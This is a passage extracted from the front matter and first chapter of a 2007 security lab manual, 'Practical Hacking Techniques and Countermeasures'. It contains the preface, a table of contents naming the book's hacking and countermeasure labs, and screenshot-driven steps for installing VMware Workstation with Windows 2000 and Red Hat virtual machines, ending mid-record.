{ "pages": [ { "page_number": 1, "text": "" }, { "page_number": 2, "text": "PRACTICAL HACKING\nTECHNIQUES AND\nCOUNTERMEASURES\n" }, { "page_number": 3, "text": "Assessing and Managing Security Risk in IT\nSystems: A Structured Methodology\nJohn McCumber\nISBN: 0-8493-2232-4\nAudit and Trace Log Management: Consolidation\nand Analysis\nPhillip Q Maier\nISBN: 0-8493-2725-3\nBuilding and Implementing Security Certification\nand Accreditation Program\nPatrick D Howard\nISBN: 0-8493-2062-3\nThe CISO Handbook: A Practical Guide to Securing\nYour Company\nMichael Gentile; Ronald D Collette; Thomas D August\nISBN: 0-8493-1952-8\nThe Complete Guide for CPP Examination\nPreparation\nJames P Muuss; David Rabern\nISBN: 0-8493-2896-9\nCuring the Patch Management Headache\nFelicia M Nicastro\nISBN: 0-8493-2854-3\nCyber Crime Investigator's Field Guide,\nSecond Edition\nBruce Middleton\nISBN: 0-8493-2768-7\nDatabase and Applications Security: Integrating\nInformation Security and Data Management\nBhavani Thuraisingham\nISBN: 0-8493-2224-3\nThe Ethical Hack: A Framework for Business Value\nPenetration Testing\nJames S Tiller\nISBN: 0-8493-1609-X\nGuide to Optimal Operational Risk and Basel II\nIoannis S Akkizidis; Vivianne Bouchereau\nISBN: 0-8493-3813-1\nThe Hacker's Handbook: The Strategy Behind\nBreaking into and Defending Networks\nSusan Young; Dave Aitel\nISBN: 0-8493-0888-7\nThe HIPAA Program Reference Handbook\nRoss Leo\nISBN: 0-8493-2211-1\nInformation Security Architecture: An Integrated\nApproach to Security in the Organization,\nSecond Edition\nJan Killmeyer Tudor\nISBN: 0-8493-1549-2\nInformation Security Cost Management\nIoana V. Bazavan; Ian Lim\nISBN: 0-8493-9275-6\nInformation Security: Design, Implementation,\nMeasurement, and Compliance\nTimothy P. Layton\nISBN: 0-8493-7087-6\nInformation Security Fundamentals\nThomas R Peltier; Justin Peltier; John A Blackley\nISBN: 0-8493-1957-9\nInformation Security Management Handbook, Fifth\nEdition, Volume 2\nHarold F Tipton; Micki Krause\nISBN: 0-8493-3210-9\nInformation Security Management Handbook, Fifth\nEdition, Volume 3\nHarold F Tipton; Micki Krause\nISBN: 0-8493-9561-5\nInformation Security Policies and Procedures:\nA Practitioner's Reference, Second Edition\nThomas R Peltier\nISBN: 0-8493-1958-7\nInformation Security Risk Analysis, Second Edition\nThomas R Peltier\nISBN: 0-8493-3346-6\nInformation Technology Control and Audit,\nSecond Edition\nFrederick Gallegos; Daniel P Manson;\nSandra Senft; Carol Gonzales\nISBN: 0-8493-2032-1\nManaging an Information Security and Privacy\nAwareness and Training Program\nRebecca Herold\nISBN: 0-8493-2963-9\nThe Practical Guide to HIPAA Privacy and\nSecurity Compliance\nKevin Beaver; Rebecca Herold\nISBN: 0-8493-1953-6\nA Practical Guide to Security Assessments\nSudhanshu Kairab\nISBN: 0-8493-1706-1\nSecuring Converged IP Networks\nTyson Macaulay\nISBN: 0-8493-7580-0\nThe Security Risk Assessment Handbook:\nA Complete Guide for Performing Security\nRisk Assessments\nDouglas J Landoll\nISBN: 0-8493-2998-1\nSurviving Security: How to Integrate People,\nProcess, and Technology, Second Edition\nAmanda Andress\nISBN: 0-8493-2042-9\nWireless Security Handbook\nAaron E Earle\nISBN: 0-8493-3378-4\nAUERBACH PUBLICATIONS\nwww.auerbach-publications.com\nTo Order Call: 1-800-272-7737 • Fax: 1-800-374-3401\nE-mail: orders@crcpress.com\nOTHER INFORMATION SECURITY BOOKS FROM AUERBACH\n" }, { "page_number": 4, "text": "Boca Raton New York\nAuerbach Publications is an imprint of the\nTaylor & Francis Group, an informa business\nPRACTICAL HACKING\nTECHNIQUES AND\nCOUNTERMEASURES\nMark D. Spivey, CISSP\n" }, { "page_number": 5, "text": "Auerbach Publications\nTaylor & Francis Group\n6000 Broken Sound Parkway NW, Suite 300\nBoca Raton, FL 33487-2742\n© 2007 by Mark D. Spivey \nAuerbach is an imprint of Taylor & Francis Group, an Informa business\nNo claim to original U.S. Government works\nPrinted in the United States of America on acid-free paper\n10 9 8 7 6 5 4 3 2 1\nInternational Standard Book Number-10: 0-8493-7057-4 (Hardcover)\nInternational Standard Book Number-13: 978-0-8493-7057-1 (Hardcover)\nThis book contains information obtained from authentic and highly regarded sources. Reprinted material is quoted \nwith permission, and sources are indicated. A wide variety of references are listed. Reasonable efforts have been made to \npublish reliable data and information, but the author and the publisher cannot assume responsibility for the validity of \nall materials or for the consequences of their use. \nNo part of this book may be reprinted, reproduced, transmitted, or utilized in any form by any electronic, mechanical, or \nother means, now known or hereafter invented, including photocopying, microfilming, and recording, or in any informa-\ntion storage or retrieval system, without written permission from the publishers.\nFor permission to photocopy or use material electronically from this work, please access www.copyright.com (http://\nwww.copyright.com/) or contact the Copyright Clearance Center, Inc. (CCC) 222 Rosewood Drive, Danvers, MA 01923, \n978-750-8400. CCC is a not-for-profit organization that provides licenses and registration for a variety of users. For orga-\nnizations that have been granted a photocopy license by the CCC, a separate system of payment has been arranged.\nTrademark Notice: Product or corporate names may be trademarks or registered trademarks, and are used only for \nidentification and explanation without intent to infringe.\nLibrary of Congress Cataloging-in-Publication Data\nSpivey, Mark D.\nPractical hacking techniques and countermeasures / Mark D. Spivey.\np. cm.\nIncludes bibliographical references and index.\nISBN-13: 978-0-8493-7057-1\n1. VMware. 2. Operating systems (Computers) 3. Virtual computer systems. I. Title. \nQA76.76.O63S6755 2006\n005.4’32--dc22\n2006013484\nVisit the Taylor & Francis Web site at\nhttp://www.taylorandfrancis.com\nand the Auerbach Web site at\nhttp://www.auerbach-publications.com\n" }, { "page_number": 6, "text": "v\nPreface\nThe entire purpose of Practical Hacking Techniques and Countermeasures\nis to give readers the opportunity to actually put their hands on the tools and\ntechniques commonly used by today’s hackers and to actually learn how they\nwork. Up to this point, most security-related books have dealt mainly with\nthe theory and lecture of tools and techniques, but I wanted to provide more.\nWith the use of virtual computers the reader can concentrate on the tools\ninstead of the question of legality.\nAs a former college department chair I saw firsthand how students\nresponded to hands-on security versus lecture only. By providing my students\nwith a series of labs structured around security, hacking techniques, and\ncountermeasures the students gained an invaluable insight as to how to secure\ntoday’s computers and associated networks. This is evident by these students\nbeing placed at the Pentagon, in our armed forces, as government contractors,\nand even independent security consultants. I truly believe that when a security\nprofessional understands the actual techniques, he or she can provide a better\nservice to the public. \nFifteen years ago the standard for security was “security by obscurity,” in\nother words, “You don’t know I have a network therefore I’m safe.” With the\nadvent of the Internet this quickly changed. However, even today there are\nthose who when questioned about their security practices respond with “Hey,\nwe’re not a bank” or “I don’t have anything worth stealing.” These people are\nonly delaying the inevitable reality that eventually someone of ill-repute will\nfind their computers or even their networks and take full advantage of them\nif they haven’t already.\nPractical Hacking Techniques and Countermeasures is designed as a lab\nmanual. I want every reader to be able to duplicate each lab in this book,\n" }, { "page_number": 7, "text": "vi\n\u0001\nPreface\nwhich is why I insisted that the inclusion of the CD containing the exact same\nversions of the tools be used to create this book. This is the first book in a\nseries of books designed to educate security professionals or anyone with an\ninterest in how hacking techniques are conducted, and what countermeasures\nare available. Hundreds of screenshots are included, which duplicate each\nlab and are easy to follow.\nIt was also important for me to create Practical Hacking Techniques and\nCountermeasures from the ground-up perspective. As you progress through\nthe book the techniques and tools become progressively more advanced and\nfollow the standard methodology of how an attacker would approach your\nown network or computer. I also designed Practical Hacking Techniques and\nCountermeasures to use the exact same tools used by today’s hacker. This is\nby no means a conclusive list because tools are added or become obsolete\nall the time, however, I have provided an excellent foundation for every reader\nto practice his or her security skills and the reality is most tools used by hackers\nare either open source (free), custom written (programmer), stolen (warez),\nor a combination of all three. The accompanying CD provides 95 percent free\ntools and demo or trial versions of commercially available security software.\nI have also developed a Web site for Practical Hacking Techniques and\nCountermeasures to support my readers, as well as inform them of upcoming\nbooks, special offers, my schedule of security seminar locations, HackSym, and\na members section that provides tools, advanced portions of the next book in\nproduction, forums to assist in any lab questions, a live chat area where I will\nschedule and make appearances, and much more. The Web site is located at\nhttp://www.virtuallyhacking.com. \nI sincerely hope you enjoy reading Practical Hacking Techniques and Coun-\ntermeasures as much as I enjoyed writing it. Beginners will find it intriguing\nwhile veteran security professionals will find it to be an excellent reference tool.\nThere is something for everyone.\nEnjoy Practical Hacking Techniques and Countermeasures.\nMark D. Spivey, CISSP\n" }, { "page_number": 8, "text": "vii\nContents\n1 \nPreparation ............................................................................................1\nInstalling VMware Workstation............................................................................ 3\nConfiguring Virtual Machines............................................................................ 10\nInstalling a Virtual Windows 2000 Workstation ....................................... 11\nInstalling VMware Tools for Windows 2000 Virtual Machines................. 29\nInstalling a Red Hat Version 8 Virtual Machine ....................................... 35\nInstalling VMware Tools for Red Hat Virtual Machines............................ 55\nWhat Is on the CD?........................................................................................... 60\nRestrict Anonymous........................................................................................... 60\nTo Restrict Anonymous ............................................................................ 60\nIn Windows NT ............................................................................... 60\nFor Windows XP, 2003..................................................................... 60\nFor Windows 2000 .......................................................................... 61\nWhat Is the Difference? ........................................................................... 61\n2 \nBanner Identification..........................................................................63\nLab 1: Banner Identification .............................................................................. 65\nLab 2: Banner Identification .............................................................................. 67\nLab 3: Banner Identification .............................................................................. 73\nLab 4: Operating System Identification............................................................. 75\nDetect Operating System of Target: Xprobe2\nLab 5: Banner Identification .............................................................................. 79\nLab 6: Banner Identification .............................................................................. 84\nLab 7: Personal Social Engineering ................................................................... 86\nSocial Engineering Techniques: Dumpster Diving/Personnel\n" }, { "page_number": 9, "text": "viii\n\u0001\nContents\n3\nTarget Enumeration ............................................................................87\nLab 8: Establish a NULL Session........................................................................ 89\nEstablish a NULL Session: NULL Session\nLab 9: Enumerate Target MAC Address.............................................................. 90\nEnumerate MAC Address and Total NICs: GETMAC\nLab 10: Enumerate SID from User ID ............................................................... 91\nEnumerate the SID from the Username: USER2SID\nLab 11: Enumerate User ID from SID ............................................................... 93\nEnumerate the Username from the Known SID: SID2USER \nLab 12: Enumerate User Information................................................................ 96\nEnumerate User Information from Target: USERDUMP\nLab 13: Enumerate User Information................................................................ 97\nExploit Data from Target Computer: USERINFO\nLab 14: Enumerate User Information................................................................ 98\nExploit User Information from Target: DUMPSEC\nLab 15: Host/Domain Enumeration................................................................. 102\nEnumerate Hosts and Domains of LAN: Net Commands\nLab 16: Target Connectivity/Route.................................................................. 105\nDetect Target Connectivity: PingG\nLab 17: Target Connectivity/Route.................................................................. 107\nConnectivity/Routing Test: Pathping\nLab 18: Operating System Identification......................................................... 109\nIdentify Target Operating System: Nmap/nmapFE\nLab 19: Operating System Identification......................................................... 117\nIdentify Target Operating System: NmapNT \nLab 20: IP/Hostname Enumeration ................................................................. 123\nEnumerate IP or Hostname: Nslookup\nLab 21: IP/Hostname Enumeration ................................................................. 124\nEnumerate IP or Hostname: Nmblookup\nLab 22: RPC Reporting.................................................................................... 125\nReport the RPC of Target: Rpcinfo\nLab 23: Location/Registrant Identification ...................................................... 126\nGather Registration Info/Trace Visual Route: Visual Route\nLab 24: Registrant Identification ..................................................................... 128\nGather IP or Hostname: Sam Spade\nLab 25: Operating System Identification......................................................... 131\nGather OS Runtime and Registered IPs: Netcraft\nLab 26: Operating System Identification......................................................... 133\nScan Open Ports of Target: Sprint\nLab 27: Default Shares..................................................................................... 135\nDisable Default Shares: Windows Operating System\nLab 28: Host Enumeration............................................................................... 139\nScan Open Ports of Target: WinFingerprint \n4\nScanning.............................................................................................145\nLab 29: Target Scan/Share Enumeration.......................................................... 147\nScan Open Ports of Target: Angry IP\n" }, { "page_number": 10, "text": "Contents\n\u0001\nix\nLab 30: Target Scan/Penetration ...................................................................... 151\nScan Open Ports/Penetration Testing: LANguard\nLab 31: Target Scan through Firewall.............................................................. 153\nScan Open Ports of Target: Fscan\nLab 32: Passive Network Discovery ................................................................ 154\nPassively Identify Target Information on the LAN: Passifist \nLab 33: Network Discovery............................................................................. 158\nIdentify Target Information: LanSpy \nLab 34: Open Ports/Services ........................................................................... 161\nScan Open Ports/Services of Target: Netcat \nLab 35: Port Scan/Service Identification......................................................... 163\nScan Open Ports of Target: SuperScan \nLab 36: Port Scanner ....................................................................................... 166\nIdentify Ports Open: Strobe \nLab 37: Anonymous FTP Locator..................................................................... 169\nLocate Anonymous FTP Servers: FTPScanner \nLab 38: CGI Vulnerability Scanner................................................................... 171\nIdentify CGI Vulnerabilities: TCS CGI Scanner \nLab 39: Shared Resources Locator .................................................................. 178\nIdentify Open Shared Resources: Hydra \nLab 40: Locate Wingate Proxy Servers............................................................ 187\nLocate Wingate Proxy Servers: WGateScan/ADM Gates \n5 \nSniffing Traffic ..................................................................................193\nLab 41: Packet Capture — Sniffer................................................................... 195\nExploit Data from Network Traffic: Ethereal\nTo Install Ethereal on a Red Hat Linux Computer....................... 196\nTo Install Ethereal on Microsoft Windows.................................... 206\nLab 42: Packet Capture — Sniffer................................................................... 213\nExploit Data from Network Traffic: Ngrep\nFor Linux....................................................................................... 213\nFor Windows ................................................................................. 219\nLab 43: Packet Capture — Sniffer................................................................... 223\nExploit Data from Network Traffic: TcpDump\nLab 44: Packet Capture — Sniffer................................................................... 230\nExploit Data from Network Traffic: WinDump\nLab 45: Packet Capture — Sniffer................................................................... 234\nMonitor IP Network Traffic Flow: IPDump2\nFor Linux....................................................................................... 234\nFor Windows ................................................................................ 237\nLab 46: Password Capture — Sniffer .............................................................. 240\nExploit Passwords and Sniff the Network: ZxSniffer\nLab 47: Exploit Data from Target Computer — Sniffit ................................... 249\n6 \nSpoofing .............................................................................................261\nLab 48: Spoofing IP Addresses......................................................................... 263\nSend Packets via False IP Address: RafaleX\nLab 49: Spoofing MAC Addresses .................................................................... 268\nSend Packets via a False MAC Address: SMAC\n" }, { "page_number": 11, "text": "x\n\u0001\nContents\nLab 50: Spoofing MAC Addresses .................................................................... 277\nSend Packets via a False MAC Address: Linux\nLab 51: Packet Injection/Capture/Trace.......................................................... 284\nSend Packets via a False IP/MAC Address: Packit\nLab 52: Spoof MAC Address ............................................................................ 295\nAltering the MAC Address: VMware Workstation \n7 \nBrute Force ........................................................................................299\nLab 53: Brute-Force FTP Server....................................................................... 301\nCrack an FTP Password: NETWOX/NETWAG\nLab 54: Retrieve Password Hashes.................................................................. 309\nExtract Password Hashes: FGDump\nLab 55: Crack Password Hashes ...................................................................... 313\nCrack and Capture Password Hashes: LC5 \nLab 56: Overwrite Administrator Password..................................................... 325\nChange the Administrator Password: CHNTPW\nLab 57: Brute-Force Passwords........................................................................ 337\nBrute-Force Passwords for a Hashed File: John the Ripper\nLab 58: Brute-Force FTP Password.................................................................. 346\nBrute-Force an FTP Password Connection: BruteFTP \nLab 59: Brute-Force Terminal Server ............................................................... 354\nBrute-Force Terminal Server Passwords: TSGrinder II\n8 \nVulnerability Scanning .....................................................................357\nLab 60: Vulnerability Scanner .......................................................................... 359\nPerform Vulnerability Assessment: SAINT\nLab 61: SNMP Walk.......................................................................................... 379\nExploit Data via SNMP Walk: NETWOX/NETWAG \nLab 62: Brute-Force Community Strings ......................................................... 386\nExploit the SNMP Community Strings: Solar Winds \nLab 63: Target Assessment ............................................................................... 392\nAssessment of Target Security: Retina \nLab 64: Target Assessment ............................................................................... 397\nAssessment of Target Security: X-Scan \nLab 65: Vulnerability Scanner .......................................................................... 402\nPerform Vulnerability Assessment: SARA\nLab 66: Web Server Target Assessment............................................................ 414\nAssessment of Web Server Security: N-Stealth \nLab 67: Vulnerability Scanner .......................................................................... 421\nExploit Data from Target Computer: Pluto \nLab 68: Vulnerability Assessment..................................................................... 429\nPerform Vulnerability Assessment: Metasploit\nOn Windows.................................................................................. 429\nOn Linux ....................................................................................... 441\nLab 69: Web Server Target Assessment............................................................ 451\nAssessment of Web Server Security: Nikto\nLab 70: Vulnerability Scanner .......................................................................... 455\nAssessment of Target Security: Shadow Scanner\n" }, { "page_number": 12, "text": "Contents\n\u0001\nxi\nLab 71: Internet Vulnerability Scanner............................................................ 468\nAssessment of Target Security: Cerberus \nLab 72: WHAX — Auto Exploit Reverse Shell ................................................ 474\nAutomatically Exploit the Target: AutoScan \nLab 73: Unique Fake Lock Screen XP ............................................................. 491\nGrab the Administrator Password: Fake Lock Screen XP \nLab 74: Bypassing Microsoft Serial Numbers.................................................. 499\nBypassing Serial Number Protection: RockXP/Custom Script\nLab 75: Vulnerability Exploit ........................................................................... 507\nAssessment of Target Security: Web Hack Control Center\n9 \nWireless..............................................................................................511\nLab 76: Locate Unsecured Wireless................................................................. 513\nLocate Unsecured Wireless: NetStumbler/Mini-Stumbler\nLab 77: Trojan .................................................................................................. 519\nUnauthorized Access and Control: Back Orifice \nOn the Target Computer............................................................... 519\nOn the Attacker’s Computer ......................................................... 528\nLab 78: Trojan .................................................................................................. 534\nUnauthorized Access and Control: NetBus\nOn the Target (Server)................................................................... 534\nOn the Attacker’s Computer ......................................................... 540\nLab 79: ICMP Tunnel Backdoor....................................................................... 545\nBidirectional Spoofed ICMP Tunnel: Sneaky-Sneaky\nOn the Target (Server)................................................................... 545\nOn the Attacker’s Machine............................................................ 548\nLab 80: Hiding Tools on the Target.................................................................. 553\nHiding Files on the Target: CP\nScenario: Hiding Netcat inside the Calculator Application .......... 553\nTo Verify ........................................................................................ 555\nLab 81: Capturing Switched Network Traffic.................................................. 556\nIntercept/Exploit Traffic: Ettercap\nLab 82: Password Capture ............................................................................... 573\nCapture Passwords Traversing the Network: Dsniff \nLab 83: Data Manipulation .............................................................................. 574\nManipulate the Live Data Stream: Achilles\nLab 84: Covert Reverse Telnet Session............................................................ 588\nCreate a Reverse Telnet Session: Netcat \nLab 85: Covert Channel — Reverse Shell....................................................... 596\nExploit Data from Target Computer: Reverse Shell \n10 Redirection.........................................................................................603\nLab 86: PortMapper......................................................................................... 605\nTraffic Redirection: PortMapper \nLab 87: Executing Applications — Elitewrap.................................................. 618\nExecuting Hidden Applications: Elitewrap\nLab 88: TCP Relay — Bypass Firewalls............................................................ 627\nTraffic Redirection: Fpipe\n" }, { "page_number": 13, "text": "xii\n\u0001\nContents\nLab 89: Remote Execution .............................................................................. 633\nRemote Execution on Target: PsExec \nLab 90: TCP Relay — Bypass Firewalls............................................................ 638\nTraffic Redirection: NETWOX/NETWAG\n11 Denial-of-Service (DoS).....................................................................643\nLab 91: Denial-of-Service — Land Attack ........................................................ 645\nDoS Land Attack: Land Attack\nLab 92: Denial-of-Service — Smurf Attack ...................................................... 650\nDoS Smurf Attack: Smurf Attack\nLab 93: Denial-of-Service — SYN Attack......................................................... 655\nDoS Land Attack: SYN Attack\nLab 94: Denial-of-Service — UDP Flood ......................................................... 660\nDoS UDP Flood Attack: UDP Flood Attack\nLab 95: Denial-of-Service — Trash2.c.............................................................. 665\nCreate Denial-of-Service Traffic: Trash2.c\nAppendix A: References ...........................................................................671\nAppendix B: Tool Syntax..........................................................................675\nIndex...........................................................................................................725\n" }, { "page_number": 14, "text": "Chapter 1\nPreparation\n" }, { "page_number": 15, "text": "" }, { "page_number": 16, "text": "Preparation\n\u0001\n3\nInstalling VMware Workstation\nThe VMware® Workstation application started in 1998 and has since then\nbecome the global leader in virtual infrastructure software for industry stan-\ndard systems. VMware offers both Microsoft Windows and Linux versions. For\nthe purposes of this book the Windows version is used, although either type\nwould suffice.\nThink of VMware software as a container that holds a separate (virtual)\ncomputer from the one it is installed on (the host). As far as your host computer\nis concerned, each virtual computer is a separate computer entirely and is\ntreated as such.\nVMware software also comes in other flavors, including GSX Server and\nESX Server. The noticeable difference is that the GSX Server runs as an\napplication on a host server and the ESX Server is its own operating system.\nVMware also offers another product called VMware P2V Assistant, which\ncreates an image of a current physical computer and creates a virtual computer\nfrom that image. This can be very handy for testing purposes.\nA 30-day demonstration version is available from its Web site at\nhttp://www.vmware.com/download/ws. If you download the demo ver-\nsion, you will also need to request a temporary license key and then register\nthe product once it is installed. The latest version at the time of this writing\nis 5.0.0.13124 (although Workstation 5.5 is out). The demo version is included\non the accompanying CD.\nTo install VMware Workstation, follow these steps:\n1.\nDouble-click on the VMware-Workstation-5.0.0-13124.exe file to\nstart the installation process.\n" }, { "page_number": 17, "text": "4\n\u0001\nPractical Hacking Techniques and Countermeasures\n2.\nYou will see the initial installation screen. \n3.\nThe Installation Wizard appears. Click Next.\n" }, { "page_number": 18, "text": "Preparation\n\u0001\n5\n4.\nAccept the License Agreement. Click Next.\n5.\nAccept the default installation directory. Click on Next.\n" }, { "page_number": 19, "text": "6\n\u0001\nPractical Hacking Techniques and Countermeasures\n6.\nAccept the shortcuts offered. Click Next.\n7.\nAccept the Yes disable CD autorun. Click Next.\n" }, { "page_number": 20, "text": "Preparation\n\u0001\n7\n8.\nVMware Workstation is ready to install. Click Install.\n9.\nThe installation begins.\n" }, { "page_number": 21, "text": "8\n\u0001\nPractical Hacking Techniques and Countermeasures\nThe installation continues. Please be patient.\n10.\nOnce the installation has completed, you are asked to enter your User\nName, Company, and Serial Number. If you downloaded the demo\nversion from VMware.com you will need to request that a serial number\nbe e-mailed to you. Click Enter. (You can enter this information later\nbut now is the best time.)\n" }, { "page_number": 22, "text": "Preparation\n\u0001\n9\n11.\nThe installation is now completed. Click Finish.\n12.\nYou will now have a VMware Workstation icon on your desktop.\nDouble-click the icon to start VMware Workstation.\n" }, { "page_number": 23, "text": "10\n\u0001\nPractical Hacking Techniques and Countermeasures\n13.\nThe VMware Workstation application starts. If you did not enter your\nserial number information during step 10, you will be asked to do so now.\nThis figure shows the VMware Workstation application as it begins.\nNow that you have VMware Workstation correctly installed, you can pro-\nceed to the next section, “Configuring Virtual Machines.”\nConfiguring Virtual Machines\nVMware Workstation is the application that hosts virtual computers. This\nsection will cover the correct installation of a virtual Microsoft Windows 2000\nWorkstation and Red Hat Linux computers as they are the two operating\nsystems used throughout this book. If you have previously installed either of\nthese operating systems, there is no difference in the process other than you\nwill need to install the VMware Tool covered in each section.\nPlease remember that it is your responsibility to license any operating\nsystem you are using. Microsoft Windows is not free and does not have a\ndemonstration version; therefore, you must have a valid license to install\nWindows even in a virtual environment. Linux is normally free for downloading\nand at the time of this writing is freely available at http://www.linuxiso.org.\n*Note: Remember that all of Linux is case sensitive.\n" }, { "page_number": 24, "text": "Preparation\n\u0001\n11\nInstalling a Virtual Windows 2000 Workstation\nFollow these steps:\n1. From the VMware Workstation start screen, click New Virtual Machine.\n2.\nThis will start the New Virtual Machine Wizard. Click Next.\n" }, { "page_number": 25, "text": "12\n\u0001\nPractical Hacking Techniques and Countermeasures\n3.\nAccept the Typical configuration for the virtual machine. Click Next.\n4.\nAccept the default of Microsoft Windows and select Windows 2000\nProfessional from the list of available operating systems. Click Next.\n" }, { "page_number": 26, "text": "Preparation\n\u0001\n13\n5.\nAccept the default Virtual machine name and location. Click Next.\n6.\nAccept the default network type of Use bridged networking. Click Next. \n*Note: This is one of the options that makes VMware Workstation interesting in that\nyou control if your virtual computer gets its own IP address on the network\n(bridged), must share the host IP address (NAT), will establish a network\nbetween the host and virtual computer only (host-only), or not have a net-\nwork connection at all. A maximum of three virtual network cards can be\ninstalled on each virtual computer with independent settings for each.\n" }, { "page_number": 27, "text": "14\n\u0001\nPractical Hacking Techniques and Countermeasures\n7.\nAccept the default virtual Disk size (capacity) of 4.0 (GB). Click Finish.\n8. The VMware Workstation application now has a tab called Windows 2000\nProfessional. \n" }, { "page_number": 28, "text": "Preparation\n\u0001\n15\n9.\nClick Edit virtual machine settings.\nThis is the area where you can make any adjustments you need, such\nas increasing the amount of physical RAM on the host computer you\nwant dedicated to the virtual machine, changing the hard disk size, or\nadding other hardware items. Once a virtual computer is running it\nmust be shut down to change most of these settings, with the excep-\ntions of disconnecting the CD-ROM or floppy drive during operation. \n10.\nOnce you have made any adjustments, click OK.\n11.\nInsert the Microsoft Windows 2000 Workstation CD into the CD-ROM\ndrive. Click Start this virtual machine or click the Play button on\nthe toolbar.\n" }, { "page_number": 29, "text": "16\n\u0001\nPractical Hacking Techniques and Countermeasures\n12.\nThe virtual computer boot screen appears.\n13.\nThe virtual computer will boot from the CD.\n" }, { "page_number": 30, "text": "Preparation\n\u0001\n17\n14.\nAt the Welcome to Setup screen press the Enter key.\nRemember that as far as your host computer is concerned your virtual\ncomputer is completely separate from the host machine. The next screen\nyou will see is a warning that you have a new or erased hard drive you\nare trying to install Windows on and it is a new virtual hard drive. \n15.\nAccept the notice and press the C (Continue Setup) key. \n" }, { "page_number": 31, "text": "18\n\u0001\nPractical Hacking Techniques and Countermeasures\n16.\nAfter reading the License Agreement and accepting its terms, press the\nF8 (I agree) key.\n17.\nAccept the default partition sizes for the hard drive. Press Enter.\n" }, { "page_number": 32, "text": "Preparation\n\u0001\n19\n18.\nAccept the default of formatting the hard drive with the NTFS file\nsystem. Press Enter.\n19.\nYou will see the progress of the formatting process.\n" }, { "page_number": 33, "text": "20\n\u0001\nPractical Hacking Techniques and Countermeasures\n20.\nThe Windows files will now install on the virtual hard drive.\n21.\nOnce completed, the virtual computer will automatically reboot itself.\n" }, { "page_number": 34, "text": "Preparation\n\u0001\n21\n22.\nThe new Windows 2000 virtual computer will now boot up.\n23.\nThe installation process will continue. You can click Next or just wait\nand it will automatically continue on its own.\n" }, { "page_number": 35, "text": "22\n\u0001\nPractical Hacking Techniques and Countermeasures\n24.\nAccept the default US keyboard layout or change to your preference.\nClick Next.\n25.\nEnter your Name and Organization (if any). Click Next.\n" }, { "page_number": 36, "text": "Preparation\n\u0001\n23\n26.\nEnter the serial number for your copy of Microsoft Windows. Click Next.\n27.\nAssign a Computer name to your virtual computer and type an Admin-\nistrator password. Click Next.\n" }, { "page_number": 37, "text": "24\n\u0001\nPractical Hacking Techniques and Countermeasures\n28.\nSet your Date & Time, Time Zone, and whether you use daylight savings\ntime. Click Next.\n29.\nThe networking components will now install. \n" }, { "page_number": 38, "text": "Preparation\n\u0001\n25\n30.\nUnless you are familiar with configuring network cards, accept the\ndefault of Typical settings and click Next.\n31.\nAccept the default answer of No for domain membership and click Next.\n" }, { "page_number": 39, "text": "26\n\u0001\nPractical Hacking Techniques and Countermeasures\n32.\nWindows components will continue to install.\n33.\nThe Final Tasks of the installation will occur.\n" }, { "page_number": 40, "text": "Preparation\n\u0001\n27\n34.\nWindows 2000 is now installed. Remove the CD and click Finish.\n35.\nUpon reboot you will need to complete the Network Identification\nWizard. Click Next.\n" }, { "page_number": 41, "text": "28\n\u0001\nPractical Hacking Techniques and Countermeasures\n36.\nThe next screen requires you to make a decision as to whether you want\nthe same user automatically logging into Windows all the time or if you\nrequire each user to enter a username and password to log in. As I am\nsecurity conscious, I always choose the latter. Congratulations, you have\nsuccessfully installed a virtual Windows 2000 Workstation! Click Finish.\n37.\nYou are now presented with the Windows login screen. Type in your\npassword from Step 27 and click OK.\n" }, { "page_number": 42, "text": "Preparation\n\u0001\n29\n38.\nThe first time Windows 2000 loads you are presented with a “Getting\nStarted with Windows” presentation. If you are unfamiliar with Windows\n2000 you may wish to view the presentation. Otherwise, just uncheck\nShow this screen at startup and then click Exit.\nInstalling VMware Tools for Windows 2000 Virtual Machines\nEven though your virtual Windows 2000 Workstation is running, it is best to\ninstall the VMware Tools on each virtual machine you install. VMware Tools\nallows for better screen resolution, mouse control, drag-and-drop operations,\nimproved network performance, shared folders support, and copying and\npasting between the host and virtual machine.\n*Note: Initially once you are logged into your virtual machine you will find that\nyour mouse is locked into the virtual machine and you cannot get out to\nthe host computer. To switch back to the host computer hold down the\nCtrl key and press the Alt key. Then by clicking back into the virtual\nmachine screen; the mouse again becomes active in the virtual machine.\n*Note: You do not use a physical CD when installing VMware Tools. The VMware\nsoftware contains an ISO image that the guest machine interprets as a\nphysical CD.\n" }, { "page_number": 43, "text": "30\n\u0001\nPractical Hacking Techniques and Countermeasures\nTo install VMware Tools, follow these steps:\n1.\nReturn to the host machine by holding down the Ctrl key and press\nthe Alt key. Then from the VMware Workstation menu click VM and\nthen select Install VMware Tools.\n2.\nThe VMware Tools installation screen appears. Click Install.\n" }, { "page_number": 44, "text": "Preparation\n\u0001\n31\n3.\nThe VMware Tools installation begins.\n4.\nThe VMware Tools Wizard starts. Click Next.\n" }, { "page_number": 45, "text": "32\n\u0001\nPractical Hacking Techniques and Countermeasures\n5.\nAccept the Typical VMware Tools Setup Type. Click Next.\n6.\nVMware Tools is now ready to install. Click Install.\n" }, { "page_number": 46, "text": "Preparation\n\u0001\n33\n7. VMware Tools now installs on the virtual machine. The screen may flicker.\n8.\nThe VMware Tools will finish installation. Click Finish.\n" }, { "page_number": 47, "text": "34\n\u0001\nPractical Hacking Techniques and Countermeasures\n9.\nIn order for VMware Tools to complete its configuration, you will need\nto restart the virtual machine. Click Yes.\n10.\nCongratulations! You have completed the installation of Windows 2000\nWorkstation and VMware Tools!\n*Note: The biggest change you will immediately notice after installing VMware Tools\nis the colors will appear clearer. You may also notice that the virtual machine\nwindow actually becomes larger. Of course, this new virtual machine is not\nsecure as it has no Windows updates installed on it.\n" }, { "page_number": 48, "text": "Preparation\n\u0001\n35\nInstalling a Red Hat Version 8 Virtual Machine\nFollow these steps:\n1. From the VMware Workstation starting screen click New Virtual Machine. \n2.\nThis will start the New Virtual Machine Wizard. Click Next.\n" }, { "page_number": 49, "text": "36\n\u0001\nPractical Hacking Techniques and Countermeasures\n3.\nAccept the Typical configuration for the virtual machine. Click Next.\n4.\nSelect Linux as the operating system and then select Red Hat Linux\nfrom the list of available operating systems. Click Next.\n" }, { "page_number": 50, "text": "Preparation\n\u0001\n37\n5.\nAccept the default Virtual machine name and Location. Click Next.\n6.\nAccept the default network type of Use bridged networking. Click Next. \n*Note: This is one of the options that makes VMware Workstation interesting in that you\ncontrol if your virtual computer gets its own IP address on the network (bridged),\nmust share the host IP address (NAT), will establish a network between the host\nand virtual computer only (host-only), or not have a network connection at all.\nA maximum of three virtual network cards can be installed on each virtual\ncomputer with independent settings for each.\n" }, { "page_number": 51, "text": 